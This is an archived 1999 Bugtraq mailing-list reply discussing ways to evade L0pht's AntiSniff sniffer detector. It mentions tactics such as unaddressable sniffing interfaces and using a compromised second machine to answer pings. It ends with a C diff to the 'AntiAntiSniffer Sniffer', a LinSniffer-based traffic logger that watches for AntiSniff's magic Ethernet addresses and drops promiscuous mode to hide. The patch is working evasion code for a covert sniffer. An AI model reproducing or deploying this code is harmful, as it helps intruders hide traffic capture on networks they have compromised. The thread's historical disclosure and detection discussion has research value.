Bugtraq mailing list archives

Re: Antisniff thoughts + AASS Patch


From: mikepery () MIKEPERY LINUXOS ORG (Mike Perry)
Date: Mon, 26 Jul 1999 22:00:19 -0500


Thus spake *Hobbit* (hobbit () AVIAN ORG):

1. For a completely passive box, we set the interface to some bogus IP addr,
or 0.0.0.0 if that works, ifconfig -arp, and hoover away.  Antisniff would
never see the machine because the machine would never answer anything unless
someone could guess the IP address.  Drawback: hard to retrieve logs remotely.

Workaround: one interface as a normal address on a normal reachable net, and a
second interface configured as above sniffing a *different* net.  Useful
setup for remotely-administerable IDS boxes; real address lives on a protected
inside net, sniffing interface plugs in to watch the dirty one but is not
addressable.
I assume you mean that you have physical access to the network in this case.
Well, once that happens, I think it's time to give up the ghost. :) If you're
on a physically insecure network, everyone should be encrypting everything
anyways. I'm sure if you were to try to evade antisniff remotely by simply not
responding to pings, version 1.01 will allow you to specify a list of hosts
that should always respond (for secure networks).

However, take note that a copy of antisnif running on the protected netwrok will
still think that that host is sniffing the protected network, because the
kernel/system load will be high from processing the traffic from the dirty
network. (Method #3 in the l0hpt paper).

Workaround for a single interface:  As the sniffer starts, reset the interface
to bogus-IP/noarp, sniff for a while, quit sniffing, reset to the old
parameters.  Or perhaps dynamically flop modes back and forth depending on
whether we saw traffic for the machine's real address arrive.  A sniffer with
an open nit/dlpi/bpf should be able to go *non*promiscuous and still see if
there's traffic to its own host, and lay low accordingly.
This would most definatly generate enough lag to delay on a ping response.

However, this brings up an excellent evasion method that's simmalair: if you
were to watch for eth address for your host OR the bogus eth addresses used by
AntiSniff while leaving all routing in tact, you could concievavbly drop the
promisc bit as soon as you see this, and go to sleep accordingly. A patch to
the AntiAntiSniffer Sniffer is enclosed to do just this :)

2. Antisniff evasion possibility: enhancement to detect the first couple of
Antisniff probes, and immediately un-promiscuize the card for a while until
we think it's safe to peek out again.  Possibly in a dynamic mode; see #1.
Heh, you must have posted before my post came in :)

Also Germano Caronni brought up the excellent point that you could compromise
two machines, and use a beefy machine to answer ping requests for the sniffing
machine...

P.S. The people who have asked me about slackware and OpenBSD, I wrote this thing
on a glibc2 Linux system. I'll leave it to some real motivated cracker to crack a
nice heterogenous switched network, then port this thing to use libpcap :)


--- aass-old.c  Mon Jul 26 20:45:46 1999
+++ aass.c      Mon Jul 26 21:54:47 1999
@@ -1,5 +1,5 @@
 /*
-   The AntiAntiSniffer Sniffer by Mike Perry
+   The AntiAntiSniffer Sniffer v0.2 by Mike Perry

    To all my friends, coworkers, and associates who thought I knew better than
    to do something like this, please understand that when I discovered I could
@@ -8,9 +8,15 @@
    P.S. Legitimate tools such as icmplog will exhibit the same order of
    magnitude latency increase on ping responses.

+   New to 0.2: I check eth frame's addresses for the magic value used by l0pht
+   antisniff, as well as your ethaddr if ULTRA_PARANOID is set.
+
    Moral of the story: use ssh/lsh, and assume no host on your network is to
    be trusted under any means.
-
+
+   P.S. Sorry to all my teachers. All the global varables must be killing you
+   guys right now :)
+
    Based on:
    LinSniffer 0.03 [BETA]
    Mike Edulla
@@ -37,6 +43,10 @@

 #define INTERFACE "eth0"

+#ifndef ETH_ALEN
+# define ETH_ALEN      6
+#endif
+
 /* Really paranoid counts every packet in the load average. If the load
  * average jumps, we drop the promisc bit, and sleep for a few seconds */
 #define REALLY_PARANOID        3
@@ -61,8 +71,8 @@
  * accumulate enough packets for accurate statistics! See the HIDEOUT &
  * comments for more info..
  */
-#define NUM_PKTS_SHIFT 4
-#define NUM_PKTS 32
+#define NUM_PKTS_SHIFT 2
+#define NUM_PKTS 8

 /*
  * Secs to wait for the bad men to go away :)
@@ -83,19 +93,37 @@

 /* This causes the algorithm to treat dead time as if a packet was coming
  * every BASELINE usecs. Useful for intermittent traffic networks */
-#define BASELINE       5000 /* 5ms */
+#define BASELINE       4000 /* 4ms */

-/* As a last resort, don't track more than CMAX connections at once.
- */
+/* As a last resort, don't track more than CMAX connections at once. */
 #define CMAX   10 /* -1 is Inf */

+/* This option controls if we watch for the AntiSniff magic packets, in
+ * addition to our own address (in case they are sending the ping before we
+ * detected a change in load)
+ * Note, this is a definable option because it is possible to use this against
+ * us, and send these packets all the time just to shut us down */
+#define ANTIMAGIC
+
+#ifdef  ANTIMAGIC
+# define MAGIC1        "ff:00:00:00:00:00" /* Method #1 for Win* */
+# define MAGIC2        "66:66:66:66:66:66" /* AntiSniff user specified */
+# define MYADDR        "fe:ed:de:ad:be:ef" /* Undefine and decrement NMAGIC, and
+                                      change the hex_addrlist to not watch
+                                      for your address */
+# define NMAGIC                3           /* Number of magic eth addrs to search */
+char *hex_addrlist[] = { MAGIC1, MAGIC2, MYADDR };
+char h_dest[NMAGIC][ETH_ALEN];
+#endif
+
+
 #define CAPLEN 512
 #define TIMEOUT 30
 #define TCPLOG "test"

 /* Actually, this debug option prints out some pretty useful stats you can use
  * to set UMAX_LOAD */
-// #define DEBUG
+/*#define DEBUG */

 #ifdef DEBUG
 # define PRINTF(a...)  printf(##a)
@@ -145,7 +173,57 @@
 int s;
 FILE *fp;

+#ifdef ANTIMAGIC
+
+# ifdef DEBUG
+#  define PRINT_ETHER(a) print_ether(a)
+# else
+#  define PRINT_ETHER(a)
+# endif

+void print_ether(char *addr)
+{
+    fprintf(fp,"Eth addr %2X:%2X:%2X:%2X:%2X:%2X\n",
+           addr[0] & 0xff, addr[1] & 0xff,
+           addr[2] & 0xff, addr[3] & 0xff,
+           addr[4] & 0xff, addr[5] & 0xff);
+    fflush(fp);
+}
+
+void init_magic()
+{
+    char *p;
+    int j = 0, i;
+
+    for(j = 0; j < NMAGIC; j++)
+    {
+       p = hex_addrlist[j];
+       PRINTF("Blocking addr %s\n", p);
+       for(i=0; i < ETH_ALEN && p && *p != 0; i++, p++)
+       {
+           h_dest[j][i] = strtol(p, NULL, 16) & 0xff;
+           p = strchr(p, ':');
+       }
+       PRINT_ETHER(h_dest[j]);
+    }
+}
+
+int ismagic()
+{
+    register int i;
+
+    PRINT_ETHER(ep.eth.h_dest);
+
+    for(i = 0; i < NMAGIC; i++)
+    {
+       if(!memcmp(ep.eth.h_dest, h_dest[i], ETH_ALEN))
+       {
+           return 1;
+       }
+    }
+    return 0;
+}
+#endif
 void set_promisc(char *dev, int s)
 {
     struct ifreq ifr;
@@ -315,6 +393,14 @@
     {
         if(read(s, (struct etherpacket *) &ep, sizeof(ep)) > 1)
         {
+#ifdef ANTIMAGIC
+           if(ismagic())
+           {
+               closeintf(INTERFACE,s);
+               usleep(randhide());
+               openintf(INTERFACE);
+           }
+#endif
 #if AASS == REALLY_PARANOID
             if(account_load(&rawload))
             {
@@ -500,7 +586,6 @@
     signal(SIGKILL, cleanup);
     signal(SIGQUIT, cleanup);
     fp = fopen(TCPLOG, "at");
-    s = openintf(INTERFACE);
     gettimeofday(&tv, NULL);
     srand(tv.tv_usec ^ getpid() ^ (getppid() << 16));

@@ -516,8 +601,12 @@
     }

     vlist_head.next = NULL;
+#ifdef ANTIMAGIC
+    init_magic();
+#endif
     init_load(&tcpload);
     init_load(&rawload);
+    s = openintf(INTERFACE);
     for (;;)
     {
         read_tcp(s);


Current thread: